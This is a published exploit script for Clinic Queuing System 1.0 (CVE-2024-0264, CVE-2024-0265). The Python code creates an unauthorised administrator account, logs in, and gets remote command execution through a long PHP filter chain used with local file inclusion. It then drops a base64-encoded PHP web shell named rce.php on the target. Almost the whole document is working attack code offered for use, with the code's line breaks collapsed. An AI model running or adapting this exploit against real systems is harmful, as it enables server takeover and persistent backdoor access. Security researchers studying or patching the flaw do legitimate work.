Headline
Clinic Queuing System 1.0 Remote Code Execution
Clinic Queuing System version 1.0 suffers from a remote code execution vulnerability.
# Exploit Title: Clinic Queuing System 1.0 RCE # Date: 2024/1/7# Exploit Author: Juan Marco Sanchez# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html# Version: 1.0# Tested on: Debian Linux Apache Web Server# CVE: CVE-2024-0264 and CVE-2024-0265import requestsimport randomimport argparsefrom bs4 import BeautifulSoupparser = argparse.ArgumentParser()parser.add_argument("target")args = parser.parse_args()base_url = args.targetphase1_url = base_url + '/LoginRegistration.php?a=save_user'phase2_url = base_url + '/LoginRegistration.php?a=login'filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"def phase1(): # CVE-2024-0264 rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die()def phase2(user, password): # CVE-2024-0265 s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data) if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die() print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die()try: print("[*] Initiating Phase 1") phase1()except: print("Exploit failed.")